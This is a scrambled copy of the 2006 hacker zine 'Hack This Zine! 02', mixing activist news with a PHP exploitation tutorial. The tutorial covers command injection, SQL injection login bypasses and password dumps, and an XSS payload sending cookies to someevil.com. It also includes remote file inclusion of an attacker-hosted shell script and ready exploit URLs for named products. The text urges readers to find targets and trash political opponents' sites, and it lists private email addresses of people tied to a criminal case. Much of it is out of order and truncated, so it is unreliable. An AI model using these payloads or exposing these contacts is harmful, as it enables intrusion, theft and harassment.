Wyatt Anderson, admin of HackThisSite.org who works with Jeremy; can be reached at wanderson@gmail.com.

Pong Khumdee, partner + roommate, can be reached at pongtakesp@gmail.com

Chris Montgomery, roommate + coworker, can be reached @ chris@icetitle.com

Jason Hammond, Jeremy's twin brother, can be reached at icetitle.com

script does something like `passthru("cal $inputyear")`, expecting an integer year so that it can display the calendar, you can inject "2001; ls" and get a directory listing. This is possible because several UNIX commands in one line by separating them with a semicolon also try working with several other commandline goodies, like `` `` which will dump the output of any command between the `` ``s, or `|` you pump output from one program into another, or `>` and `>>` which dump output from a command into a file.

file uploading

Often times scripts will present you with a form that will allow you to upload a file off of your hard drive and upload it to their website. The tricks you could try this that might allow you to upload files to various locations with other names, potentially allowing you to overwrite files or upload PHP files which may allow you to gain the ability to execute on the web server.

If you're lucky, they won't do any sort of authentication that prevents you from uploading files of a specific type. If this is the case, you can upload a PHP file without any trouble and be able to do anything you want. At the time they will at the least check for file extensions in which you may be some workarounds. Often times if it is a media upload it will check for the presence of 'jpg', 'jpeg', 'gif', etc. You might want to try a file called `jpg.php`. If they allow uploads of any kind of file EXCEPT for the extensions, check to see if they allow you to upload `php`, `php3`, `phps`, `perl`, `pl`, `cgi`, `asp`, `aspx`, `jsp`, or any other sort of server-side script language.

There are also several different vulnerabilities in PHP itself that allow you to upload files as any name in any location that the web server can access. If the `$_FILES` variable has an underscore character. You can forge your own HTTP request and set the name of the file through `Content-Type: ../../path/to/newfilename.html` to ignore

MySQL has the ability to join several SQL queries into one result. In the above example, you could craft a URL which would allow you to access another table and return it with the same results as the products.

```
products.php?category=-1 UNION SELECT username, password FROM users WHERE username='admin'
```

In order to pull something off like this, it would require you to know the fields and table names. If it was a Microsoft SQL server, you could use INFORMATION_SCHEMA to get information about the database structure. This technique also requires that the first and second query have the same number of columns. Often times you could figure this out by trying something like: 1, 2, 3 FROM tablename ... SELECT 1, 2, 3, 4, 5, 6, 7 from tablename. To find the right number of columns that will match. Often times the number of fields returned also have to match, in which case you could either use integers or characters to test and find which fields are which. For example: 'a', 3, 'a', 4, 5 FROM). Generating errors from SQL will often give you important information about the names of tables and fields as well as the specific queries are structured in the programmer's code.

SQL injection is a complex trick that requires quite a bit of practice to master well outside the scope of this small introduction. At the same time, every system will be different and every individual will craft their SQL statements differently and not use such obvious names. There are a number of well written whitepapers about all these techniques in which I would suggest for further reading. Many challenges on HackThisSite.org also provide a place for you to test this technique on real systems set up with intentional php/mysql

```
system, exec, passthru
```

These functions execute UNIX commands, which obviously pose a security risk if passed to these functions without sufficient validation. For example:

Please take into consideration that this is an ongoing criminal investigation and all of the above information is likely tapped and monitored. Do not send anything incriminating or detrimental to Jeremy's case.

```
#####  
# 04. Right Wing Hackers Target Indymedia  
#####
```

A number of people have started to organize and attack various Indymedia Centers as well as a number of other progressive and leftist websites. In the past, these attacks have ranged from simple XSS attacks which result in crashing or trashing the filesystem / databases. The people responsible for these attacks have a good understanding of the ideas behind the open publishing system. Indymedia is free for all users to participate in the discussion. These attacks are not hacking nor hacktivism: they utilize public pre-written exploits to "shout the other side down." An attack on IndyMedia is an attack on itself. These right-wing extremists need to be confronted and exposed for the online fascists they really are.

During the Republican National Convention, a group of hackers called RightWingExtremist.net was formed by Brett Chance (elac, clorox, Plano TX). This group came out of the ultra conservative Protest Movement and advocates disrupting and attacking leftist organizations. Their activities started with minor stuff like launching ddos attacks on NYC Indymedia. When they discovered a XSS flaw in dadaIMC that allowed them to post comments that would automatically redirect users to his own website where it would be possible to say said childish political rhetoric like "the nazi indymedia wants to take over israel," etc. Because of pressure from the online community, Brett Chance and RightWingExtremist.net closed down the site for several months.

Months later, Jeremy from HackThisSite.org discovered a flaw in Indymedia that allowed the upload of malicious PHP files would could be used to take over the entire server. This announcement was quietly made to dadaIMC which they kept it private until the tech staff of every indymedia center

had their scripts patched to protect themselves. Several other IndyMedia centers were notified and had their code base patched. A majority of sites were patched, DadaIMC posted the vulnerability on the website, including instructions on how it can be exploited.

A month later a group calling itself the g00ns.com have attacked dozens of indymedia websites using the vulnerability posted to dad hacked websites, a message calling indymedia "liars" and "anti-indymedia" was posted. Soon after, hackers and indymedia techs started working on each other's code and bringing backups back online as well as finishing up about the g00ns. The g00ns started out by targeting and attacking clan websites, but eventually Elac from RightWingExtremist.net started to turn the group farther to the right. When the IndyMedia was hacked, people started to gather information and infiltrate their sites and soon after all of their private details were released to the public. Actions like this will not go unnoticed.

Many other right-wing trolls continue to try to disrupt IndyMedia protest groups. These individuals operate under several different aliases including ProtestWarrior.com, RightWingExtremist.net, FreeReputation.com, KobeHQ.com, FreeDominion.com, LittleGreenFootballs.com, and many others. These groups are suspected of being financed operations from government corporations similar to the COINTELPRO program from the '60s and their activities range from flooding message boards, faking votes and conducting online polls, releasing personal information of key organizers, spreading rumors and scandals, etc.

All IndyMedia centers running DadaIMC are strongly encouraged to update their software, but more importantly, hackers need to work with activists in the world to make sure their software is secure, encrypted, and audited. Details on the vulnerability are at:
<http://www.dadaimc.org/mod/software/alerts/dadaIMC/index.php?alert=1>
<http://www.dadaimc.org/support.php?section=xss>

```
$result = mysql_result("SELECT * FROM users WHERE username='$username' AND password='$password'")
if (mysql_numrows($result) == 1) {
    echo "login success...";
} else {
    die("Error! " . mysql_error());
}
```

If the variables \$username and \$password are not checked for being empty, an attacker could enter the following into both the variables and trick the script into thinking he entered a valid login:
login.php?username=' OR 'a'='a'&password=' OR 'a'='a'

The new SQL query would look something like `**SELECT * FROM users WHERE username='' OR 'a'='a' AND password='' OR 'a'='a'**` in which case no matter what the username or password is, the character 'a' will be replaced by 'a', which would log you in as the first user in the database. To modify username slightly to allow you to choose the user if you have access to the field in the database: `' OR 'a'='a' AND username='kevin mitnick'`

Many times a script will have magic quotes on or use the PHP function addslashes/removeslashes before passing input to the query. In this case, characters like ' will automatically be escaped into \', which we should understand as part of a string and not a special SQL statement.

There are also ways of extracting data from the database if a script uses poorly validated data to a SELECT query. Consider the following:

```
$result = mysql_result("SELECT * FROM products WHERE category='$category'")
while ($i < mysql_numrows($result)) {
    $data = mysql_fetch_row($result);
    echo "Product name: $data[0] Product price: $data[1]<br>";
}
```

When a script takes input and sends it back to the browser with validation, you could inject javascript code that lets you into user's browser.

```
<?php echo "Hello, $name"; ?>
```

```
showname.php?name=freeme<script>alert(document.cookie);</script>
```

This would make an alert box displaying the cookies for the given user. If this is vulnerable, it's also very likely that you could find a script that redirects the user to an offsite URL that logs the user's cookie retrieval through something like...

```
showname.php?name=freeme<script>>window.navigate("http://www.someevil.com/cookiesteal.php?thegoods="+document.cookie)</script>
```

...where cookiesteal.php would log all incoming requests and their cookies as 'thegoods'. Many web scripts use cookies to store authentication information which you could use on the original site either by saving the cookies as your own, cracking passwords, etc.

eval

Eval allows you to execute PHP code from a string. If you do not validate the string before it is passed to this function, it can potentially be manipulated to execute PHP code. A statement like eval("\\$message = \"\\$var\";"); manipulated like asdf.php?var=".passthru('cat%20/etc/passwd').

sql injection

There are many complexities that vary with the SQL server you use, as well as the configuration of the web server. In most cases, MySQL is more secure than something like Microsoft SQL server. No matter what server they use, if the coder does not check input before executing an sql statement, you could possibly extract data from their database login prompts. Consider the following authentication system:

```
#####  
# 05. Directnic Enforces ICANN WHOIS Contact Info  
#####
```

DirectNIC has begun selectively enforcing an obscure rule of ICANN regarding contact details in the WHOIS database on the owner of a domain. They have sent emails out to owners of domains threatening to shut down the site if the contact details are not corrected and verified. The owner must provide proof of their name, home address, phone and fax number. They have threatened to shut down the site if accurate details are not provided in 15 days.

Activists have just launched prole.info, which provides a number of anticapitalist writings and pamphlets, and sent announcements to various email lists and websites. Two days after prole.info was threatened, they were told to provide accurate details or be faced with the domain being shut down.

This is a gross privacy violation, and it is unfair that it is being enforced so loosely and even selectively. Thousands of domains give accurate and fake details, but why was prole.info targeted? Does DirectNIC expect people to randomly browse websites and verify contact details? No, it is reported by people who wanted to find out where the activists lived.

We do not want to face harassment from ICANN, DirectNIC, or anyone else. We want to keep away our privacy on the net. Put pressure on those who create and enforce policies that threaten internet free speech.

<http://www.prole.info> tech@prole.info

"To a valued directNIC customer,
It has come to our attention that one or more of your domain names contain inaccurate information in the WHOIS contact database. To avoid being affected, please update this information within 15 days.

Here is a list of affected domains: PROLE.INFO Errors in Registrations

Proles - Haywood, William Name: INCORRECT Address: INCORRECT P

Description: "William Haywood" is a historical figure related content and not likely a real (modern) person. The address and non-existent.

Why must we do this? Unfortunately, as a domain name registrar Corporation for Assigned Names and Numbers (ICANN) has placed on us to enforce the governing body's rules, including seeing information provided in WHOIS is up to date and accurate.

Failure for Intercosmos to adhere to these rules, after being potential violation, is grounds for our company's accreditation. One major registrar already was threatened with this very action.

Please update your information and fax to us proof of all your these domains to 504-566-0484. Please send your fax to the Abuse Department.

Thanks for your cooperation and for choosing directNIC. Sincerely, Customer"

06. Phpbb 2.10 Disclosure cause mischief and mayhem on
#####

In use by millions of websites all over the internet, phpBB is popular message board systems. You can imagine the mayhem that major vulnerability was discovered late November 2004 that all of commands on all major versions prior to 2.0.10.

Many users might remember Jessica Soules as a developer for Ha one expected her release of the bug to Bugtraq would result in

http://[target]/minibb/index.php?action=userinfo&user=1%20union user_password%20from%20minibb_users/*

Keep your eye open for the following types of vulnerable PHP sc

include, require, or fopen

If input is passed to include, require, or fopen in ways similar include "\$page" or require "\$page";

... then depending on the server configuration, you could either their machine or even execute your own PHP code. By setting \$page like '/etc/passwd' or '../..../admin/.htaccess', you could read some of their machine like server config files or passwd files. In many you pass a URL to include() their server will make an http connection file and execute php code. This means you can write a script like passthru(\$cmd); ?>, save it on your webserver, and call their script include.php?file=http://www.yourdomain.com/passthru.php&cmd=cat

Depending on how they modify their statement (like include "include "\$page.php", etc) it may limit what you can do or make difficult. Often times error statements will reveal the path of file as well as what input they are passing to include.

Warning: Unable to access fun in /home/sites/18/web/cia/include

If a script ends your input with an extension (like include "/path/to/\$file.inc"), you may be forced to reading files only .inc - unless they are running specific combinations of php and may allow you to add a %00 at the end of your input which will ignore the extension. ex: include.php?file=../..../..../etc/p

cross site scripting

your level of access through backdoors and burying yourself in
You can play with many of the concepts explained here on some
simulations at hackthissite.org. Or you can try some clever go
find a billion machines in the wild => Have fun, cause mischief
caught!

\$Real World Examples;

Here are some real world examples of the vulnerabilities explained
document. This small list is just a preview of the kind of stuff
discovered every day.

phpMyAdmin 2.6.1 Remote File Inclusion

allows you to read arbitrary files

`http://[HOST]/[DIR]/css/phpmyadmin.css.php?GLOBALS[cfg][ThemeP
passwd%00`

Remote PHP Code Execution: vBulletin 3.06 and below:

injects PHP code through invalidated eval statement

`http://[target]/misc.php?do=page&template=${phpinfo()}}`

phpMyFamily <= 1.4.0 SQL injection admin bypass:

injects sql code which allows you to login as an administrator

Login: ' OR 'a'='a' AND admin='Y'/*

Password: (empty)

PHP Form Mail 2.3 Arbitrary File Inclusion

allows php code execution and remote unix commands

`http://[target]/[dir]/inc/formmail.inc.php?script_root=http://
php`

MiniBB 1.7 SQL Injection

reveals admin passwords through sql injection vulnerability

that caused several major worms that killed tens of thousands of
bless script kiddies with easy to use tools to take down a server

The vulnerability lies in `viewtopic.php`, which does not correct
user-supplied "highlight" variable as it is passed to PHP's eval
can break out of their command and issue your own PHP commands,
system() command, allowing remote execution of commands. You could
similar to `/viewtopic.php?`

`t=2&highlight=%2527%252esystem(chr(108)%252echr(115))%252e%2527
execute "ls" giving you a directory listing.`

This exploit opens the machine up for you to play with the permissions
whatever the web server is running as. From here you could perform
of actions from grabbing password information from config files
backdoors or just simply fuck up their forums. The box is essentially
play with, and it shouldn't be difficult to find ways of gaining
permissions to take over the machine entirely.

It wasn't long before someone wrote a perl script to search for
vulnerable targets to attack and spread itself to. The Santy (or
NeverEverNoSanity) worm ran at least 20 generations and killed
40,000 websites before google disabled the search queries that
to spread. Several modifications of the worm changed search engines
slightly that allowed it to spread once again. The payload of the
wipe all files and replace it with "This website has been defaced"
a cleverly written worm, the author didn't have a whole lot to
whole lot of random destruction and ruined things for hackers with
the phpBB bug for more legitimate purposes.

The release of this major bug has had some massive implications
we advise against disclosing such vulnerabilities because of the
effects of script kiddies or destructive worms. Since Jess released
Bugtraq, she has been under constant harassment from phpBB, her
provider, and other groups who have been personally affected by

In finding such a devastating security hole in such a major piece of software, Jessica will go down in history.

```
#####  
#           07. Nmap Developers Intimidated by FBI   By Wyrmk  
#####
```

Fyodor, the creator of the Nmap portscanning says he is being contacted by the Federal Bureau of Investigation for copies of the Web server log files. Web site, Insecure.org

Nmap is an open source tool designed to help security experts scan networks and services and applications. Federal agents are trying to intimidate you into downloading and use these tools, no matter what they do with it.

Fyodor made this announcement in his blog, "FBI agents from all over the world have contacted me demanding Web server log data from Insecure.org. I will not give me reasons, but they generally seem to be investigating a list of IP addresses whom they think may have visited the Nmap page at a certain time. I have never given them anything. In some cases, they asked too late. In other cases, they have already been purged through our data retention policy. In other cases, they have failed to serve the subpoena properly. Sometimes they try asking for a copy of a subpoena and give up when I demand one."

It is not a new tactic for law enforcement to use intimidation to try to convince hackers to give in - but without a search warrant, or a subpoena, you are not required to answer questions or give any information. Stand up for your digital rights! <http://www.insecure.org/nmap> nmap portscanner.

```
#####  
!###           ARM YOURSELF:           ###!  
!###   EXPLOITS AND TECHNIQUES   ###!  
#####
```

```
break;  
default:  
    die("Sorry, not valid input.");  
}
```

The most secure method would be to strip input of everything except alphanumeric characters. This can be accomplished through the use of regular expressions. `$str = preg_replace ("/[^a-z 0-9]/i", '', $str);`

It is also a good idea to suppress output of a function as to prevent codes from helping hackers from gaining information about your system configuration, database layout, file structure, etc. You can do this by putting a @ in front of the function name: `$result = @mysql_result("SELECT * FROM admin_users");`

There are also a number of PHP config options that can help secure your application. Turning `open_basedir` on will prevent a file from accessing files outside of the base directory (preventing attacks like including `../../../../../etc/passwd`). Turning `magic_quotes_gpc` on will automatically escape quotes from input. Turning `safe_mode` on allows a number of precautions like disabling or inhibiting system functions such as `system/exec/passthru`, including `include`. Turning `register_globals` off will force PHP scripts to reference variables directly like `$varname`. As of PHP 4.2.0, this has been made the default. This helps for poorly written scripting which might allow users to access variables into variables.

Rousing Conclusion;

This guide should at least point you in the right direction as to how to exploit, and fixing common PHP input validation vulnerabilities. It gives you some idea of what you can do with it. Most web vulnerabilities are just a foot in the door where you can try other tricks to try to gain further access. You should also check out

There are all sorts of techniques webmasters use to validate input, and this largely depends on what system functions the input is being passed to. You are trying to defend against.

If you are using include, require or fopen statements, consider using functions like is_file() to verify that you are including an actual file on the local machine as opposed to PHP code on another server. You should avoid using special characters like periods, commas, and slashes, to prevent doing something like include("/includes/../../../../etc/passwd"). You should also set open_basedir restrictions on to prevent people from accessing files outside of root and including sensitive system files and configurations.

To defeat most SQL injection issues, you should make sure to use addslashes() before passing anything to mysql_query and then stripslashes() on the returned data. You should also consider typecasting input to an integer. For something similar to products.php?category=3 or viewitem.php?id=1, you can provide two commands, escapeshellcmd() and escapeshellarg(), which are useful to strip input before it is passed to a exec() function.

If information is being stored in a database to be displayed to the user, you should sanitize input as to prevent cross site scripting vulnerabilities. Consider using htmlspecialchars() to prevent people from causing general mayhem by opening tags or injecting code. Consider using str_replace to convert all < and > characters to <#038; and >#038; to prevent people from starting html tags or javascript code. You might also want to strip all newline characters and other special characters.

For all purpose validation, consider checking a variable against a list of allowed values or switch statements to see whether the value is allowed before passing it to functions:

```
switch ($page) {
    case "links":
        echo "Links!"
        include "includes/links.inc.php";
}
```

"Until our most fantastic demands are met, fantasy will always be at war with reality."

```
#####
#                               08. The Art of the Cipher   By Psyche
#####
```

Cryptography is the term given to the study of encryption, or more specifically, the process of hiding its meaning in layers of alteration. Great, but why are you reading this? I can use an encryption program... There are a great many known ways of encryption. To name a few: the Caesar Shift, the Vigenere cipher, MD5, Xor and many more. There are also a lot of programs tailored to use these methods, thereby making these forms of encryption less secure. Great! Get the point please! I'm a busy person! Thus, there is no more secure than one you have devised yourself; nobody else knows it, so there is no program to decrypt it. This article has a brief overview of your own cipher in four easy steps.

Stage 1: Lost in Encryption

Firstly we need a string to encrypt: PURPLE CARS ARE MORE FUN. The process of cipher creation is devising a way of hiding your data, there are many schools of doing this. Substitution - Replacing the letters in a string with other letters, numbers, symbols etc. Shift - Altering the position of a string, or shifting the letter along the alphabet or ASCII table. Changing the presentation of the string to make it harder to read. We are going to implement a simple substitution, replacing each letter in the string with the one directly preceding it in the alphabet, making our

PURPLE CARS ARE MORE FUN otqokd bzqr zqd lnqd etm

Where the letter A is in the string it has been counted around the alphabet, making the new letter Z. So, we can mathematically displace

X-1, where x is a letter in our string. This however is horrendous and can easily be decrypted by anyone with an understanding of it. So, we need to add something to make it harder.

Stage 2: Variables

For those who are unfamiliar with the workings of algorithm based encryption a brief synopsis is as such: $X*N*K$ X being the numerical value of the word to be encrypted. N being any given number and K being the number which can be constantly changed to alter how the string algorithm encryptions the key forms the variable. The shortcoming of algorithm based encryptions is that any number crunching program can be solved. Variables are just what they sound like, something that can be altered in the cipher to alter the outcome. Variables can be used to protect integrity and foil any decrypting attempts. For this we will implement a variable as follows; $7x$. Where X is the numeric value of a letter (I could make this a lot more difficult however I want to keep it fairly easily decrypted, by me anyway) Thus making the cipher variable added: o t q o k d b z q r z q d l n q d e t m 15 20 18 24 17 4 12 14 17 4 5 20 13

And with the variable added:

105 100 119 105 77 28 14 168 119 126 168 119 28 84 98 28 35 100

However this is still in essence substitution and can be fairly easily broken. The main benefit is that it has a basis for alteration at a moment's notice.

Stage 3: Constants

Adding a constant has one big advantage, it stops any letter/number from being repeated, which helps protect it from frequency based attacks. Using square numbers as my constant. Adding them to the front of the string

clever searches. Google hacking can become quite complex and can be used to penetrate systems with some amazing results. A great place for more information would be <http://johnny.ihackstuff.com>.

\$Disclosure;

This is a topic of great debate in the hacking community. Upon finding a vulnerability, what do you do with it? There are advantages and disadvantages that come with disclosing a security hole which need to be weighed against personal morality.

If it is a large piece of software used by many websites, you can get a BugTraq and receive quite a bit of attention and credit if you disclose it and handle it correctly. If you go this route, many people feel that if you publicly release a major vulnerability it would be good practice to inform the vendor so that they can release a patched version. Of course, you are also giving script kiddies ammunition to attack other sites with. This would also lose it's appeal of being 'hot' because everyone's got it. Soon most websites will be running patched software. Many people feel it is best to keep vulnerabilities on the down low, but nothing will be eventually being released to the public.

If the vulnerability lies in the custom code of someone's website, it should depend on what sort of website it is, what sort of service it provides, etc. If they are in general an honest, good hearted group of people, you can accomplish much to trash their site. If it's a nazi, pro-war or otherwise site, it is a different story. Many people feel that a simple disclosure is really harmful as long as you don't delete files and if you notify the developer how it is fixed, and for the most part unless it is a large corporation you don't have to worry about any sort of investigation if you use a proxy.

\$Validating Input + Secure Coding;

tables and fields.

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft Server Driver][SQL Server]Unclosed quotation mark before the character order by DESCRIPTION ' .
/products.asp, line 6

\$Finding Vulnerable Scripts;

Now that you have an idea of what sort of vulnerabilities to look for, it begins when you start looking for targets to practice on. You find targets broadly through clever google searches. You could also look at the source code to major PHP software and go through it with a fine-toothed comb looking for mistakes. But most of the vulnerabilities I find are found upon through casual browsing.

You can also try specifically looking for vulnerabilities by doing a search of source code to popular systems and parsing it for known PHP vulnerabilities. A good place to start would be <http://php.resourceindex.com>, which is a categorized repository for most PHP scripts. You can do all sorts of things; grep the source code for vulnerabilities (like the ones listed above), you can find instances where input is passed to these systems without being checked.

Hacking through google is a very fine art and can yield hundreds of vulnerable machines with a single query. If you find a piece of vulnerable software, you might try looking for websites that run that same software. Sometimes scripts will leave a small tag at the bottom of the page. Search for "Powered by GenericMessageBoard v1.02" to find targets. You can also search for specific names of scripts through something like `inurl:"/funbb/viewtopic.php"`. You could also search for generic vulnerabilities like `inurl:".php?file="` or variations thereof. Often times developers don't configure their systems and make silly mistakes like leaving backups around or directories open. Much of this information can be extracted

1105 4100 9119 25105 2677 4928 6414 81168 100119 121126 144268
22584 25698 289119 32435 361100 40091

Stage 4: Calculated Chaos

This final step is to throw off any attempts to break the cipher by changing the condition to the previous steps. This simply makes finding the prime number is best used in an IF situation. IF (whatever)=true then do whatever you intend to alter the last stage in which if the number in the end of the cipher is a prime number the square number is added to the rear of the cipher. Thus, making our cipher (after checks but before revisions) (Just a cipher isn't a prime number, contrary to popular belief)

1051 1004 1199 25105 3677 4928 1464 81168 100119 121126 268144
22584 25698 289119 35324 361100 91400

See, wasn't that easy?

Final section: The Importance of nothing

It seems to be a mindset of people to assume that numbers in an equation will be integers of 1 or more or -1 or less, not 0. I think that 0 (when it's replaced by something) will confuse any human led computer ones. So, there you have it. A brief introduction into the world of a cipher. This is only an outline and I strongly encourage you to wish to know more, there are a number of good books and sites out there. Of course www.hackthissite.org.

09. Finding and Exploiting php Script Vulnerabilities
#####

You can spend all your time making sure all your services are protected by expensive firewalls and tripwire software, and make sure all your

is done over SSL. But even the more complex and secure server waste if you are using insecure PHP code. More and more people weight of web application security holes. Instead of talking all exploits that come and go, I will try to explain some techniques to find vulnerabilities in PHP software and how to exploit them.

Often most vulnerabilities are not in the actual server software written code or irresponsible configuration. Most of the time not validating input before it is passed to vital system functions. worst, this will allow you to execute commands from the same user the server is running at (usually www, apache, or nobody) which use a relatively low level of permissions on the server. It's not much can be exploited further to possibly gaining more permissions, reading sensitive information, or depending on how poorly the system is configured (folders and files chmodded to 666, passwords and cookies lying around, etc), it could be devastating indeed.

\$The Fundamentals;

If variables are passed from your client to their server, you can pass values to anything you'd like. This is one of the most fundamental behind web security. If you see a link like 'index.php?section=...' the script examines the variable 'section' and responds accordingly. It may not be a way to modify the value of this variable on their site, but you could do so through a number of ways.

There are three ways variables can be passed from your browser to a script: over GET, POST, or cookies. Variables being sent over GET (like asdf.php?var1=somevalue&var2=anothervalue) is known as transparent and can be changed directly in the URL bar. Variables sent from a script over POST, and can be changed either by creating your own HTML page to send your own, or by forging your own HTTP request using the HTTP proxy. This can be done using telnet on port 80 - see rfc2616 for specific commands. All requests are saved and sent in a number of different ways varying on your

system and web browser. If you can't find a way to change the values of cookies through a GUI interface, you can change the values through your own HTTP request as well.

Many times you can use any of the above methods to set a variable in a script. But more and more php configurations have register_globals disabled. In this case, PHP scripts have to refer to variables like \$_GET[], \$_POST and \$_COOKIE. This restricts you into setting variables to what they were intended to be used with. This does not make it invulnerable, but it forces you to spoof the variable in the way that the script is expecting input.

\$Generating Errors;

Once you find out how to inject different values into variables in an application, you should try to generate an error code. This can be done by inserting all sorts of (not so) random characters into these scripts. These scripts will dump all sorts of messages that could help you find out the database structure, file paths, and more.

If you found a script similar to index.php?file=links.php, and you change it to index.php?file=linksaaaa.php, it might give you an error similar to:

```
Warning: main() [function.include]: Failed opening 'includes/links.php' for inclusion (include_path='.:usr/lib/php:usr/local/lib/php') in /home/www/public_html/index.php on line 45
```

This will give you all sorts of useful information: the location of the script, root, as well as the previous information that they are using a variable similar to include "includes/\$file", which is vulnerable. You may want to try looking in /includes to see if any additional information is available.

Scripts that use SQL statements might also reveal information about the server and maybe even a portion of the SQL statement, possibly

The Anarchist Library
Anti-Copyright



HackThisSite.org
Hack This Zine! 02
Notes from the Hacker Underground
2006

Retrieved on 2022-03-16 from exploit-db.com/papers/42908

theanarchistlibrary.org

So you're tired of wasting your life away behind a screen, or more satisfied with the way things are going around you. You're cons deep down for more in life, more meaning, more excitement. You difference, and you want to have a good time doing it. So what to get active in your community?

Now when you hear the words revolution, and activism, a couple come to mind: protesting, rioting, tree hugging, stealing, and arson. Well that is undoubtedly how the media portrays activist mass depicted stereotype is extremist, and somewhat falsified. activist has absolutely nothing to do with carrying a picket sign stuff in the streets, and setting stuff on fire (not saying that aren't fun ;)). It is about about making changes to system, b drastic methods you see televised. As a matter of fact, revolut can not be televised. Activists utilizing the system to destroy has, and never will work out. So true activism takes effect at is here at this local level were individuals have the biggest i world.

So now that we got your windows cleaned from media missrepresent see the bright rays of activism glaring at you. There are all s integrate radical ideas into your everyday life:

1.) Turn off the television

TV is the centrifuge of most things corporal. Chances are you, know works for some one directly, or indirectly involved with t media (broadcast, the phone company, coke, coffee shops, or the advertise don't they?). Besides that, wouldn't you rather be li of your own, instead of watching one unfold before you on a scr stuff up with your friends, meet new people, go on adventures, the TV off.

2.) Fall in love

Yes this is an activist act. Some one in love has more to live excitement, and more meaning in there life. Some one in love h the corporal elite ranks and more in the living life for the m fall in love today. fall in love with a guy, a girl, an activi really doesn't matter just find more to live for.

3.) Read a book

Especially books that make you question things around you, one think. Books full of action, puzzles, mystery, tragedy, whatever

4.) Start conversations with strangers

Starting a conversation with some one you have never seen before a great exercise to break down the socialphobia that the system Also in the act of doing this you make the world a some what friend live in, by breaking down the social walls that keep us all isolated and forgotten. This alone is all we need to rekindle the flame of communities.

5.) Use alternative transportation

Use public transportation whenever possible. Get some exercise bike, jogging, walking, or skating. Either of these options will some social barriers, conserve fossil fuels, keep you a healthier

6.) Go to local band/music shows

These are usually cheap and are jam packed with fun. What better community together, while having a good time listening to your band? If you do choose to go to these events, don't let them be sport. What I mean is please don't just stand around and stare

social, party, live it up, and shake things up a bit.

7.) Call in sick on a sunny day

Calling in sick on a sunny day is an exploit people simply don't do
of enough. Everyone deserves a day off every once in a while, and it's
the perfect time to go explore a part of your town you've never before
interact with new people, and just have fun.

8.) Let your artistic side out

Break free from your systematic lifestyle by writing a poem, sketching
up, writing song lyrics, composing music, or writing a story. Allow
the creative juices flowing and gets you thinking somewhat out of the box.

9.) Spend less, Work less, live more

Buy only the absolute essentials you need to live. Make sure you're not
your buying it because you need it. Not because advertisers make you feel
insecure to buy their product.. If you do this, then you will need less
The less income you need the less you need to work. The less you work
the more time you have to put your energy to something productive that you
believe in.

10.) Get organized !

Organize meaningful fun events in your neighborhood. Throw a community
Have a community barbecue where everyone brings something. Organize
and music related events for people to come together and express themselves.
Organize your own workers union if you don't have one. Organize
non-profit organizations, anything really. Start your own projects
you see them as a productive thing then that's really all that matters.

#####

14. Security Culture: Hackers Living in an Age of FBI R
#####

As our movement grows, so will the Establishment's attempts to
been doing everything they can to gain power with so-called 'i
reforms' and 'anti-terrorism efforts'. These are pretty ways o
legislation giving increased powers to law enforcement at the
liberties, setting up the blueprint for a police state in the
have already begun, as hackers and activists, we have to learn
ourselves if we ever hope of stopping this madness once and fo

What are we up against?

The effects of these efforts are very real, and organizations
our movement have already been targeted, raided, and charged w
crimes. Dozens of Independent Media Centers, one of the larges
activists to announce events and expose the injustices and atr
corporations and government, has had it's machines seized unde
suspicious and secretive terms. Individual hackers such as Mik
Hairball of HBX Networks have a history of being harassed and
authorities. Hack This Site founder Jeremy Hammond was also r
with credit card fraud and unauthorized access related to hack
websites.

In the buildup to the Republican National Convention, the FBI,
and local police have harassed and intimidated activists for b
the protest organizing efforts. Dozens of anarchists were visi
about their affiliation with protest groups. Several activists
the clock' supervision where several agents were following the
Meetings, email lists, and phone conversations were infiltrate
law enforcement for intelligence gathering purposes.

Over 1800 people were arrested at the convention protests them
Emmanuel Goldstein from 2600 and Jeremy Hammond from Hack This

```
# fascists everytime you see them. Throw a brick through a ma
# corporation's window. Start an infoshop. Create a rank and :
# organization at your workplace. Monkey wrench the system. S
# heart for a day. Falsify invitations to a yuppy art gallery
# out to the homeless. Celebrate every holiday of all countri
#           And carry a new world in your heart.
#
#####
```

arrested randomly and given bogus 'disorderly conduct' charges 'suspected anarchists'. Dozens of people suffered severe beating at peaceful marches, and arrestees were held for much longer than hours in the infamous 'Pier 57'(or 'Guantanamo on Hudson Bay') warehouse where there were reports of asbestos and lead contamination.

We can protect ourselves!

We do not have to make it easy for them to target and harass us. If investigations come from slip ups or bad decisions, and if we are not under any sort of serious threat to their power structure, we are going to develop a tight security culture. This has to extend to all aspects of life from using the internet, attending meetings, talking to reporters, participating in protests, to even checking out books at the library. Know your limits and your time. The best thing you can do is to be prepared in case they come.

Becoming a ghost on the net

One of the first things you can do is learn to use the internet. Everything you do on the net is being monitored, from what websites you visit to the emails you send and receive. There are ways you can help make yourself anonymous on the net, but as a ground rule, do not use your home computer to talk about or do things you should not be doing. No matter how secure you are bouncing off of or what sort of encryption you're using, no matter if you are being specifically targeted and monitored by someone because they get complete data dumps of all your internet activity at the system level.

First thing to do is to master the usage of proxy servers. When you make a connection to another machine on the net, it goes straight from your computer to theirs, leaving a very obvious IP address in their server and records. By using proxy servers, you can bounce your connection off of several other computer boxes before connecting to the destination. When they examine the records they will find that it originated from some box set up as a proxy. U

large federal investigation, usually this will be enough to stop effort to track you down. The authorities will have to issue a subpoena to examine the proxy logs belonging to the box you bounced off of from other countries, this will make things considerably more impossible because they will have to deal with international proxy organizations where they have no jurisdiction. There are also proxies that allow you to bounce off of several proxies instead of one that most operating systems allow you to use. While this will stop any efforts to track you down, it does not make it impossible if you have enough budget. Do not think you are secure if you are having a single connection, even if you are bouncing off of several proxies.

Another technique you can use to better secure yourself would be a technique called ssh tunnelling. Normally when you make a connection for http, pop3, aim, or anything else, the data is sent over the line in plain text. Meaning someone can set up a packet sniffer on your local network or any of the routers between your connection and the destination to intercept information like passwords, texts of email, etc. When you set up an ssh connection, data is sent over an encrypted path. You can configure your computer to use *any* service, even if it is plaintext, to tunnel through an ssh connection. You need to have an ssh account on some other machine and get it set up it also acts like a proxy. Your computer will connect to your account on another server, and then to the destination machine. Making an SSH tunnel is as easy as a google search, but there are also scripts that can download to automate the process.

The feds have all sorts of forensics tools for recovering data. Obviously just removing items from your recycling bin isn't going to work. If data is still there, just the initial headers of the file have been removed. Free space so the operating system can use it when it saves files. Even a standard drive formatting won't cut it when dealing with forensics. There are all sorts of tools out there that can help you recover random data several times over portions of the drive, hopefully magnetic traces of the file. Don't think hitting your computer

Other Events

- Anarchist Bookfairs and Festivals San Francisco, Madison, Montreal

